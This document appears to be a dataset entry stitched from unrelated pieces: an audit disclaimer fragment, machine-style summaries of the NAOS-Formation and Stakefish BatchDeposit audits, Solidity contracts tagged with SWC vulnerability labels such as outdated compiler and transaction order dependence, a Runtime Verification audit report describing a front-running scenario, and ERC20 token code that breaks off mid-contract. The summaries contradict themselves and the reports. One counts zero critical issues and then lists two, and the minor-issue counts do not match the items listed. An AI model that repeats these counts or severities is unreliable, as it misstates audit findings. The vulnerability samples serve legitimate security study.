all vulnerabilities. The review and this report are provided on an as-is, where-is, and as-available basis. You agree that your access and/or use, including but not limited to any associated services, products, protocols, platforms, content, and materials, will be at your sole risk. Blockchain technology remains under development and is subject to unknown risks and flaws. The review does not extend to the compiler layer, or any other areas beyond the programming language, or other programming aspects that could present security risks. A report does not indicate the endorsement of any particular project or team, nor guarantee its security. No third party should rely on the reports in any way, including for the purpose of making any decisions to buy or sell a product, service or any other asset. To the fullest extent permitted by law, we disclaim all warranties, expressed or implied, in connection with this report, its content, and the related services and products and your use thereof, including, without limitation, the implied warranties of merchantability, fitness for a particular purpose, and non-infringement. We do not warrant, endorse, guarantee, or assume responsibility for any product or service advertised or offered by a third party through the product, any open source or third-party software, code, libraries, materials, or information linked to, called by, referenced by or accessible through the report, its content, and the related services and products, any hyperlinked websites, any websites or mobile applications appearing on any advertising, and we will not be a party to or in any way be responsible for monitoring any transaction between you and any third-party providers of products or services. As with the purchase or use of a product or service through any medium or in any environment, you should use your best judgment and exercise caution where appropriate. FOR AVOIDANCE OF DOUBT, THE REPORT, ITS CONTENT, ACCESS, AND/OR USAGE THEREOF, INCLUDING ANY ASSOCIATED SERVICES OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, INVESTMENT, TAX, LEGAL, REGULATORY, OR OTHER ADVICE. Naos-Formation Audit
Issues Count of Minor/Moderate/Major/Critical - Minor: 0 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues - None Moderate Issues 1. Problem: The system uses deprecated Chainlink api and doesn't check validity of the data, which brings the risk of stale oracle price (Code Reference: NAOS-Formation 19f4967) 2. Fix: Add checks to the return values of external protocol and user inputs (Code Reference: NAOS-Formation c12527) Major Issues - None Critical Issues - None Observations - The system would benefit from adding checks to the return values of external protocol and user inputs. - Be cautious when integrating with external protocols and make sure the assumptions hold. Conclusion The audit of the NAOS-Formation smart contract revealed a total of 16 issues, ranging from Medium to Informational Risk. No High or Critical Risk issues were identified. The system would benefit from adding checks to the return values of external protocol and user inputs. Lastly, caution should be taken when integrating with external protocols and making sure the assumptions hold. Issues Count of Minor/Moderate/Major/Critical - Minor: 5 - Moderate: 3 - Major: 0 - Critical: 0 Minor Issues 2.a Problem (one line with code reference) - Unchecked Return Value (QSP-2) - Unchecked function arguments (QSP-4) - Privileged Roles and Ownership (QSP-5) - does not follow the spec completely IsHealthy() (QSP-6) - does not check if is a new user forceTransmute msg.sender (QSP-7) 2.b Fix (one line with code reference) - Acknowledged (QSP-2) - Fixed (QSP-4) - Acknowledged (QSP-5) - Fixed (QSP-6) - Fixed (QSP-7) Moderate 3.a Problem (one line with code reference) - Possible to migrate to the same adapter (QSP-1) - Oracle price could be stale (QSP-3) 3.b Fix (one line with code reference) - Mitigated (QSP Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 1 Major: 0 Critical: 2 Minor Issues 2.a Problem: Possible to migrate to the same adapter 2.b Fix: Add relevant checks to remove such possibilities Moderate Issues 3.a Problem: Unchecked Return Value 3.b Fix: Add relevant checks, especially when interacting with external protocols, to ensure integration works properly Critical Issues 5.a Problem: Oracle price could be stale 5.b Fix: Use the current Chainlink API and check that updatedAt and answeredInRound are recent 5.a Problem: Unchecked function arguments 5.b Fix: Check arguments against zero Observations The audit found 1 minor, 1 moderate, and 2 critical issues. The minor issue was related to the possibility of migrating to the same adapter, which could cause accounting errors. The moderate issue was related to unchecked return values, which could lead to integration errors. The two critical issues were related to the Oracle price being stale and unchecked function arguments, which could lead to token burning. Conclusion The audit found 1 minor, 1 moderate, and 2 critical issues.
// ,,---. // .-^^,_ `. // ;`, / 3 ( o\ } // __ __ ___ __ \ ; \`, / ,' // /\ \__ /\ \ /'___\ __ /\ \ ;_/^`.__.-" ,' // ____\ \ ,_\ __ \ \ \/'\ __ /\ \__//\_\ ____\ \ \___ `---' // /',__\\ \ \/ /'__`\ \ \ , < /'__`\ \ \ ,__\/\ \ /',__\\ \ _ `\ // /\__, `\\ \ \_/\ \L\.\_\ \ \\`\ /\ __/ __\ \ \_/\ \ \/\__, `\\ \ \ \ \ // \/\____/ \ \__\ \__/.\_\\ \_\ \_\ \____\/\_\\ \_\ \ \_\/\____/ \ \_\ \_\ // \/___/ \/__/\/__/\/_/ \/_/\/_/\/____/\/_/ \/_/ \/_/\/___/ \/_/\/_/ // stakefish ETH2 Batch Deposit contract // this contract allows deposit of multiple validators in one tx // and also collects the validator fee for stakefish // SPDX-License-Identifier: Apache-2.0 // SWC-Outdated Compiler Version: L19 pragma solidity 0.6.11; import "../node_modules/@openzeppelin/contracts/utils/Pausable.sol"; import "../node_modules/@openzeppelin/contracts/access/Ownable.sol"; import "../node_modules/@openzeppelin/contracts/math/SafeMath.sol"; // Deposit contract interface interface IDepositContract { /// @notice A processed deposit event. event DepositEvent( bytes pubkey, bytes withdrawal_credentials, bytes amount, bytes signature, bytes index ); /// @notice Submit a Phase 0 DepositData object. /// @param pubkey A BLS12-381 public key. /// @param withdrawal_credentials Commitment to a public key for withdrawals. /// @param signature A BLS12-381 signature. /// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object. /// Used as a protection against malformed input. function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) external payable; /// @notice Query the current deposit root hash. /// @return The deposit root hash. function get_deposit_root() external view returns (bytes32); /// @notice Query the current deposit count. /// @return The deposit count encoded as a little endian 64-bit number. function get_deposit_count() external view returns (bytes memory); } contract BatchDeposit is Pausable, Ownable { using SafeMath for uint256; address depositContract; uint256 private _fee; uint256 constant PUBKEY_LENGTH = 48; uint256 constant SIGNATURE_LENGTH = 96; uint256 constant CREDENTIALS_LENGTH = 32; uint256 constant MAX_VALIDATORS = 100; uint256 constant DEPOSIT_AMOUNT = 32 ether; event FeeChanged(uint256 previousFee, uint256 newFee); event Withdrawn(address indexed payee, uint256 weiAmount); event FeeCollected(address indexed payee, uint256 weiAmount); constructor(address depositContractAddr, uint256 initialFee) public { require(initialFee % 1 gwei == 0, "Fee must be a multiple of GWEI"); depositContract = depositContractAddr; _fee = initialFee; } /** * @dev Performs a batch deposit, asking for an additional fee payment. */ // SWC-Transaction Order Dependence: L86 - L122 function batchDeposit( bytes calldata pubkeys, bytes calldata withdrawal_credentials, bytes calldata signatures, bytes32[] calldata deposit_data_roots ) external payable whenNotPaused { // sanity checks require(msg.value % 1 gwei == 0, "BatchDeposit: Deposit value not multiple of GWEI"); require(msg.value >= DEPOSIT_AMOUNT, "BatchDeposit: Amount is too low"); uint256 count = deposit_data_roots.length; require(count > 0, "BatchDeposit: You should deposit at least one validator"); require(count <= MAX_VALIDATORS, "BatchDeposit: You can deposit max 100 validators at a time"); require(pubkeys.length == count * PUBKEY_LENGTH, "BatchDeposit: Pubkey count don't match"); require(signatures.length == count * SIGNATURE_LENGTH, "BatchDeposit: Signatures count don't match"); require(withdrawal_credentials.length == 1 * CREDENTIALS_LENGTH, "BatchDeposit: Withdrawal Credentials count don't match"); uint256 expectedAmount = _fee.add(DEPOSIT_AMOUNT).mul(count); require(msg.value == expectedAmount, "BatchDeposit: Amount is not aligned with pubkeys number"); emit FeeCollected(msg.sender, _fee.mul(count)); for (uint256 i = 0; i < count; ++i) { bytes memory pubkey = bytes(pubkeys[i*PUBKEY_LENGTH:(i+1)*PUBKEY_LENGTH]); bytes memory signature = bytes(signatures[i*SIGNATURE_LENGTH:(i+1)*SIGNATURE_LENGTH]); IDepositContract(depositContract).deposit{value: DEPOSIT_AMOUNT}( pubkey, withdrawal_credentials, signature, deposit_data_roots[i] ); } } /** * @dev Withdraw accumulated fee in the contract * * @param receiver The address where all accumulated funds will be transferred to. * Can only be called by the current owner. */ function withdraw(address payable receiver) public onlyOwner { require(receiver != address(0), "You can't burn these eth directly"); uint256 amount = address(this).balance; emit Withdrawn(receiver, amount); receiver.transfer(amount); } /** * @dev Change the validator fee (`newOwner`). * Can only be called by the current owner. */ function changeFee(uint256 newFee) public onlyOwner { require(newFee != _fee, "Fee must be different from current one"); require(newFee % 1 gwei == 0, "Fee must be a multiple of GWEI"); emit FeeChanged(_fee, newFee); _fee = newFee; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function pause() public onlyOwner { _pause(); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function unpause() public onlyOwner { _unpause(); } /** * @dev Returns the current fee */ function fee() public view returns (uint256) { return _fee; } /** * Disable renunce ownership */ function renounceOwnership() public override onlyOwner { revert("Ownable: renounceOwnership is disabled"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.22 <0.8.0; contract Migrations { address public owner = msg.sender; uint public last_completed_migration; modifier restricted() { require( msg.sender == owner, "This function is restricted to the contract's owner" ); _; } function setCompleted(uint completed) public restricted { last_completed_migration = completed; } } // THIS IS FOR TESTING PURPOSES ONLY. COPY PASTED FROM MEDALLA CONTRACT /** *Submitted for verification at Etherscan.io on 2020-10-14 */ // ┏━━━┓━┏┓━┏┓━━┏━━━┓━━┏━━━┓━━━━┏━━━┓━━━━━━━━━━━━━━━━━━━┏┓━━━━━┏━━━┓━━━━━━━━━┏┓━━━━━━━━━━━━━━┏┓━ // ┃┏━━┛┏┛┗┓┃┃━━┃┏━┓┃━━┃┏━┓┃━━━━┗┓┏┓┃━━━━━━━━━━━━━━━━━━┏┛┗┓━━━━┃┏━┓┃━━━━━━━━┏┛┗┓━━━━━━━━━━━━┏┛┗┓ // ┃┗━━┓┗┓┏┛┃┗━┓┗┛┏┛┃━━┃┃━┃┃━━━━━┃┃┃┃┏━━┓┏━━┓┏━━┓┏━━┓┏┓┗┓┏┛━━━━┃┃━┗┛┏━━┓┏━┓━┗┓┏┛┏━┓┏━━┓━┏━━┓┗┓┏┛ // ┃┏━━┛━┃┃━┃┏┓┃┏━┛┏┛━━┃┃━┃┃━━━━━┃┃┃┃┃┏┓┃┃┏┓┃┃┏┓┃┃━━┫┣┫━┃┃━━━━━┃┃━┏┓┃┏┓┃┃┏┓┓━┃┃━┃┏┛┗━┓┃━┃┏━┛━┃┃━ // ┃┗━━┓━┃┗┓┃┃┃┃┃┃┗━┓┏┓┃┗━┛┃━━━━┏┛┗┛┃┃┃━┫┃┗┛┃┃┗┛┃┣━━┃┃┃━┃┗┓━━━━┃┗━┛┃┃┗┛┃┃┃┃┃━┃┗┓┃┃━┃┗┛┗┓┃┗━┓━┃┗┓ // ┗━━━┛━┗━┛┗┛┗┛┗━━━┛┗┛┗━━━┛━━━━┗━━━┛┗━━┛┃┏━┛┗━━┛┗━━┛┗┛━┗━┛━━━━┗━━━┛┗━━┛┗┛┗┛━┗━┛┗┛━┗━━━┛┗━━┛━┗━┛ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┃┃━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┗┛━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ // SPDX-License-Identifier: CC0-1.0 pragma solidity 0.6.11; // This interface is designed to be compatible with the Vyper version. /// @notice This is the Ethereum 2.0 deposit contract interface. /// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs interface IDepositContract { /// @notice A processed deposit event. event DepositEvent( bytes pubkey, bytes withdrawal_credentials, bytes amount, bytes signature, bytes index ); /// @notice Submit a Phase 0 DepositData object. /// @param pubkey A BLS12-381 public key. /// @param withdrawal_credentials Commitment to a public key for withdrawals. /// @param signature A BLS12-381 signature. /// @param deposit_data_root The SHA-256 hash of the SSZ-encoded DepositData object. /// Used as a protection against malformed input. function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) external payable; /// @notice Query the current deposit root hash. /// @return The deposit root hash. function get_deposit_root() external view returns (bytes32); /// @notice Query the current deposit count. /// @return The deposit count encoded as a little endian 64-bit number. function get_deposit_count() external view returns (bytes memory); } // Based on official specification in https://eips.ethereum.org/EIPS/eip-165 interface ERC165 { /// @notice Query if a contract implements an interface /// @param interfaceId The interface identifier, as specified in ERC-165 /// @dev Interface identification is specified in ERC-165. This function /// uses less than 30,000 gas. /// @return `true` if the contract implements `interfaceId` and /// `interfaceId` is not 0xffffffff, `false` otherwise function supportsInterface(bytes4 interfaceId) external pure returns (bool); } // This is a rewrite of the Vyper Eth2.0 deposit contract in Solidity. // It tries to stay as close as possible to the original source code. /// @notice This is the Ethereum 2.0 deposit contract interface. /// For more information see the Phase 0 specification under https://github.com/ethereum/eth2.0-specs contract DepositContract is IDepositContract, ERC165 { uint constant DEPOSIT_CONTRACT_TREE_DEPTH = 32; // NOTE: this also ensures `deposit_count` will fit into 64-bits uint constant MAX_DEPOSIT_COUNT = 2**DEPOSIT_CONTRACT_TREE_DEPTH - 1; bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] branch; uint256 deposit_count; bytes32[DEPOSIT_CONTRACT_TREE_DEPTH] zero_hashes; constructor() public { // Compute hashes in empty sparse Merkle tree for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH - 1; height++) zero_hashes[height + 1] = sha256(abi.encodePacked(zero_hashes[height], zero_hashes[height])); } function get_deposit_root() override external view returns (bytes32) { bytes32 node; uint size = deposit_count; for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH; height++) { if ((size & 1) == 1) node = sha256(abi.encodePacked(branch[height], node)); else node = sha256(abi.encodePacked(node, zero_hashes[height])); size /= 2; } return sha256(abi.encodePacked( node, to_little_endian_64(uint64(deposit_count)), bytes24(0) )); } function get_deposit_count() override external view returns (bytes memory) { return to_little_endian_64(uint64(deposit_count)); } function deposit( bytes calldata pubkey, bytes calldata withdrawal_credentials, bytes calldata signature, bytes32 deposit_data_root ) override external payable { // Extended ABI length checks since dynamic types are used. require(pubkey.length == 48, "DepositContract: invalid pubkey length"); require(withdrawal_credentials.length == 32, "DepositContract: invalid withdrawal_credentials length"); require(signature.length == 96, "DepositContract: invalid signature length"); // Check deposit amount require(msg.value >= 1 ether, "DepositContract: deposit value too low"); require(msg.value % 1 gwei == 0, "DepositContract: deposit value not multiple of gwei"); uint deposit_amount = msg.value / 1 gwei; require(deposit_amount <= type(uint64).max, "DepositContract: deposit value too high"); // Emit `DepositEvent` log bytes memory amount = to_little_endian_64(uint64(deposit_amount)); emit DepositEvent( pubkey, withdrawal_credentials, amount, signature, to_little_endian_64(uint64(deposit_count)) ); // Compute deposit data root (`DepositData` hash tree root) bytes32 pubkey_root = sha256(abi.encodePacked(pubkey, bytes16(0))); bytes32 signature_root = sha256(abi.encodePacked( sha256(abi.encodePacked(signature[:64])), sha256(abi.encodePacked(signature[64:], bytes32(0))) )); bytes32 node = sha256(abi.encodePacked( sha256(abi.encodePacked(pubkey_root, withdrawal_credentials)), sha256(abi.encodePacked(amount, bytes24(0), signature_root)) )); // Verify computed and expected deposit data roots match require(node == deposit_data_root, "DepositContract: reconstructed DepositData does not match supplied deposit_data_root"); // Avoid overflowing the Merkle tree (and prevent edge case in computing `branch`) require(deposit_count < MAX_DEPOSIT_COUNT, "DepositContract: merkle tree full"); // Add deposit data root to Merkle tree (update a single `branch` node) deposit_count += 1; uint size = deposit_count; for (uint height = 0; height < DEPOSIT_CONTRACT_TREE_DEPTH; height++) { if ((size & 1) == 1) { branch[height] = node; return; } node = sha256(abi.encodePacked(branch[height], node)); size /= 2; } // As the loop should always end prematurely with the `return` statement, // this code should be unreachable. We assert `false` just to be safe. assert(false); } function supportsInterface(bytes4 interfaceId) override external pure returns (bool) { return interfaceId == type(ERC165).interfaceId || interfaceId == type(IDepositContract).interfaceId; } function to_little_endian_64(uint64 value) internal pure returns (bytes memory ret) { ret = new bytes(8); bytes8 bytesValue = bytes8(value); // Byteswapping during copying to bytes. ret[0] = bytesValue[7]; ret[1] = bytesValue[6]; ret[2] = bytesValue[5]; ret[3] = bytesValue[4]; ret[4] = bytesValue[3]; ret[5] = bytesValue[2]; ret[6] = bytesValue[1]; ret[7] = bytesValue[0]; } }
Security Audit Report Stakefish BatchDeposit Contract Delivered: November 13th, 2020 Prepared for Stakefish by Table of Contents Summary Disclaimer Minor Findings Disable Inherited Function Avoid Unnecessary Uses of Smaller Sized Integer Types Avoid Unnecessary Uses of Division and Modulo Operation Use Ether Units Update Compiler Version Front-Running Business Logic Review Bytecode-Level Test Coverage Analysis Common Anti-Pattern Analysis 1 Summary Runtime Verification, Inc. ​ conducted a security audit on the ​ BatchDeposit ​ contract written by the ​ Stakefish ​ team. Both the source code and the compiled bytecode were carefully reviewed, and ​ no critical issues ​ but a few minor issues were found. All the minor findings have been properly addressed in the latest version. Scope Below is the latest version of the contract that has been audited. It is ​ important to double-check ​ that the deployed version is identical to the following: 1 ● BatchDeposit.sol ​ : source code of git-commit-id ​ a4912b2 ● BatchDeposit.bin ​ ( ​ BatchDeposit.bin-runtime ​ ): bytecode compiled by the version 0.6.11 with the optimization enabled ( ​ --optimize-runs 5000000 ​ ) The audit is limited in scope within the boundary of the Solidity contract only. Off-chain and client-side portions of the codebase are ​ not ​ in the scope of this engagement. See our ​ Disclaimer ​ next. Methodology Although the manual code review cannot guarantee to find all possible security vulnerabilities as mentioned in ​ Disclaimer ​ , we have followed the following approaches to make our audit as thorough as possible. First, we rigorously reasoned about the business logic of the contract, validating security-critical properties to ensure the absence of loopholes in the business logic and/or inconsistency between the logic and the implementation. Second, we carefully checked if the code is vulnerable to ​ known security issues and attack vectors ​ . Third, we symbolically executed the bytecode of the contract to systematically search for unexpected, possibly exploitable, behaviors at the bytecode level, that are due to EVM quirks or Solidity compiler bugs. Finally, we employed ​ Firefly ​ to measure the test coverage at the bytecode level, identifying missing test scenarios, and helping to improve the quality of tests. 1 For the bytecode, the last few bytes (starting from ​ 0xa264 ​ ) refer to the ​ metadata hash ​ that can vary thus be ignored. 2 Disclaimer This report does not constitute legal or investment advice. The preparers of this report present it as an informational exercise documenting the due diligence involved in the secure development of the target contract only, and make no material claims or guarantees concerning the contract's operation post-deployment. The preparers of this report assume no liability for any and all potential consequences of the deployment or use of this contract. Smart contracts are still a nascent software arena, and their deployment and public offering carries substantial risk. This report makes no claims that its analysis is fully comprehensive, and recommends always seeking multiple opinions and audits. This report is also not comprehensive in scope, excluding a number of components critical to the correct operation of this system. The possibility of human error in the manual review process is very real, and we recommend seeking multiple independent opinions on any claims which impact a large quantity of funds. 3 Minor Findings Below are minor findings which have been properly addressed in the latest version. Disable Inherited Function The contract inherited OpenZeppelin’s ​ Ownable ​ contract for access control, but disabled the ​ renounceOwnership() ​ function by overriding it with a “do-nothing” function (one with an empty body). It is a better practice for a deprecated function to revert rather than return silently. Recommendation Add revert in the body of the overriding function. Status Fixed ​ in the latest version. Avoid Unnecessary Uses of Smaller Sized Integer Types The contract used ​ uint32 ​ and ​ uint8 ​ types, which was not necessary, rather could be problematic in case of overflow, and error-prone especially in potential code updates later. Uniformly using only ​ uint256 ​ type is sufficient and cleaner for the current business logic, as well as slightly more gas-efficient by avoiding the truncation operations attached to arithmetics involving smaller typed values. Recommendation Refactor the code as suggested. Status Fixed ​ in the latest version. 4 Avoid Unnecessary Uses of Division and Modulo Operation The contract unnecessarily used ​ div ​ and ​ mod ​ operations, leading to poor code readability. A refactoring suggestion was made to avoid unnecessary uses of div and mod operations, as well as improve the code readability. Recommendation Refactor the code as suggested. Status Fixed ​ in the latest version. Use Ether Units The contract introduced a constant ​ GWEI ​ to refer to 10 ​ 9 ​ , which could be avoided by using the builtin ​ Ether units ​ . Recommendation Replace ​ GWEI ​ with “ ​ 1 gwei ​ .” Status Fixed ​ in the latest version. 5 Update Compiler Version While the Solidity compiler version used for the ​ Deposit ​ contract deployed in the mainnet was 0.6.11, the BatchDeposit contract used 0.6.8. It was recommended to use the same compiler version to avoid any potential issues due to the version mismatch, unless there was a specific reason for sticking to the older version. Recommendation Use the Solidity compiler version 0.6.11, especially with the optimization enabled ( ​ --optimize-runs 5000000 ​ ), ​ as in the Deposit contract ​ . Status Fixed ​ in the latest version. Front-Running It is possible to ​ front-run ​ ​ batchDeposit() ​ transactions while a ​ changeFee() ​ transaction is pending. Exploit Scenario Suppose the contract owner submitted a ​ changeFee() ​ transaction to increase the fee. Seeing the transaction on the network, malicious users can front-run their ​ batchDeposit() transactions (by submitting them with a higher gas price) to benefit from the current smaller fee schedule. Recommendation The above scenario can be prevented by changing the fee ​ only ​ when the contract is paused. That is, changing the fee will require executing ​ pause() ​ , followed by changeFee() ​ , followed by ​ unpause() ​ functions. This restriction can be either internally incorporated into the contract operation policy, or externally implemented at the code level by explicitly adding the ​ whenPaused ​ modifier to the ​ changeFee() ​ function. 6 Business Logic Review The following nontrivial aspects in the business logic of the BatchDeposit contract were identified. While the Deposit contract allows us to deposit in installments (e.g., one can deposit 1 ETH as a trial, and then deposit the remaining 31 ETH later), the BatchDeposit contract doesn't allow that to avoid increasing the complexity of the frontend. Multiple deposits processed by each ​ batchDeposit ​ () call are restricted to share the same withdrawal_credentials ​ data. Recommendation Clarify these restrictions in the user document. Bytecode-Level Test Coverage Analysis The bytecode-level test coverage analysis powered by ​ Firefly ​ revealed missing test scenarios. For example, certain functions including inherited ones were never tested, and negative tests for certain ​ require() ​ assertions were missed. Recommendation Add more tests to cover missing cases. Status More tests ​ were added. The latest coverage report is available ​ here ​ . 7 Common Anti-Pattern Analysis We analyzed the safety of the contract against ​ known security vulnerabilities ​ . Below are the rationale of the safety against the vulnerabilities that are applicable to the contract. Arithmetic Overflow The contract adopted the ​ SafeMath ​ library for arithmetic operations whenever the absence of arithmetic overflow cannot be statically guaranteed at compile time. Reentrancy The contract involves two external contract calls. One is to call the ​ deposit() ​ function of the ​ Deposit ​ contract, which is trusted. Another is to transfer funds to a statically unknown address. For the latter, however, it utilizes the builtin ​ transfer() ​ function whose gas budget is restricted to only 2,300, which is small enough to prevent any potential reentrancy. 2 Access Control All of the functions designed for the contract owner are associated with the ​ onlyOwner modifier. The visibility of all functions are explicitly specified. Variable Shadowing No variable names are clashed in the contract including the inherited ones. Unexpected Ether The contract logic does ​ not ​ depend on the current balance. Dirty Higher Order Bits The contract does ​ not ​ directly retrieve ​ msg.data ​ . Unchecked External Calls 2 The 2,300 gas stipend may not be safe against later hard-forks where the call gas goes down, but it would not be a major concern because the likelihood of such a hard-fork is small, considering many contracts already depend on it. 8 No low-level ​ call() ​ or ​ send() ​ functions are used in the contract. 9
Issues Count of Minor/Moderate/Major/Critical - Minor: 4 - Moderate: 0 - Major: 0 - Critical: 0 Minor Issues 2.a Disable Inherited Function (BatchDeposit.sol:7) 2.b Avoid Unnecessary Uses of Smaller Sized Integer Types (BatchDeposit.sol:14) 2.c Avoid Unnecessary Uses of Division and Modulo Operation (BatchDeposit.sol:20) 2.d Use Ether Units (BatchDeposit.sol:25) 2.e Update Compiler Version (BatchDeposit.sol:30) Moderate: None Major: None Critical: None Observations - No critical issues were found in the audit. - Minor issues were found and have been addressed in the latest version. Conclusion The audit conducted by Runtime Verification, Inc. on the BatchDeposit contract written by the Stakefish team found no critical issues but a few minor issues. All the minor findings have been properly addressed in the latest version. Issues Count of Minor/Moderate/Major/Critical: Minor: 3 Minor Issues 2.a Problem: Disable Inherited Function 2.b Fix: Add revert in the body of the overriding function 3.a Problem: Avoid Unnecessary Uses of Smaller Sized Integer Types 3.b Fix: Refactor the code as suggested 4.a Problem: Avoid Unnecessary Uses of Division and Modulo Operation 4.b Fix: Refactor the code as suggested 5.a Problem: Use Ether Units 5.b Fix: Replace GWEI with “1 gwei.” Observations: The possibility of human error in the manual review process is very real, and it is recommended to seek multiple independent opinions on any claims which impact a large quantity of funds. Conclusion: The report recommends always seeking multiple opinions and audits and makes no claims that its analysis is fully comprehensive. The latest version of the contract has addressed the minor findings. Issues Count of Minor/Moderate/Major/Critical Minor: 1 Moderate: 0 Major: 0 Critical: 0 Minor Issues 2.a Problem: Multiple deposits processed by each batchDeposit() call are restricted to share the same withdrawal_credentials data. 2.b Fix: Clarify these restrictions in the user document. Moderate: None Major: None Critical: None Observations The contract adopted the SafeMath library for arithmetic operations whenever the absence of arithmetic overflow cannot be statically guaranteed at compile time. The contract involves two external contract calls. One is to call the deposit() function of the Deposit contract, which is trusted. Another is to transfer funds to a statically unknown address. Conclusion The report concluded that the contract is safe against arithmetic overflow and reentrancy. It was recommended to use the same compiler version to avoid any potential issues due to the version mismatch, unless there was a specific reason for sticking to the older version. It was also recommended to use the Solidity compiler version 0.6.11, especially with the optimization enabled. The report also suggested to add more tests to cover missing cases. Lastly, it was suggested
// Abstract contract for the full ERC 20 Token standard // https://github.com/ethereum/EIPs/issues/20 pragma solidity ^0.4.8; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) public constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) public returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) public returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /* You should inherit from StandardToken or, for a token like you would want to deploy in something like Mist, see HumanStandardToken.sol. (This implements ONLY the standard functions and NOTHING else. If you deploy this, you won't have anything useful.) Implements ERC 20 Token standard: https://github.com/ethereum/EIPs/issues/20 .*/ pragma solidity ^0.4.8; import "./Token.sol"; contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //require(balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } pragma solidity ^0.4.18; contract Validating { modifier validAddress(address _address) { require(_address != address(0x0)); _; } modifier notZero(uint _number) { require(_number != 0); _; } modifier notEmpty(string _string) { require(bytes(_string).length != 0); _; } } pragma solidity ^0.4.18; import "./SafeMath.sol"; contract Owned { event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); // owner address to enable admin functions mapping (address => bool) public isOwner; address[] public owners; address public operator; modifier onlyOwner { require(isOwner[msg.sender]); _; } modifier onlyOperator { require(msg.sender == operator); _; } function setOperator(address _operator) external onlyOwner { require(_operator != address(0)); operator = _operator; } function removeOwner(address _owner) public onlyOwner { require(owners.length > 1); isOwner[_owner] = false; for (uint i = 0; i < owners.length - 1; i++) { if (owners[i] == _owner) { owners[i] = owners[SafeMath.sub(owners.length, 1)]; break; } } owners.length = SafeMath.sub(owners.length, 1); OwnerRemoval(_owner); } function addOwner(address _owner) external onlyOwner { require(_owner != address(0)); if(isOwner[_owner]) return; isOwner[_owner] = true; owners.push(_owner); OwnerAddition(_owner); } function setOwners(address[] _owners) internal { for (uint i = 0; i < _owners.length; i++) { require(_owners[i] != address(0)); isOwner[_owners[i]] = true; OwnerAddition(_owners[i]); } owners = _owners; } function getOwners() public constant returns (address[]) { return owners; } } pragma solidity ^0.4.11; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // SWC-Outdated Compiler Version: L2 pragma solidity ^0.4.18; import './SafeMath.sol'; import './Owned.sol'; import './Validating.sol'; import './StandardToken.sol'; /** * @title FEE is an ERC20 token used to pay for trading on the exchange. * For deeper rational read https://leverj.io/whitepaper.pdf. * FEE tokens do not have limit. A new token can be generated by owner. */ contract Fee is Owned, Validating, StandardToken { /* This notifies 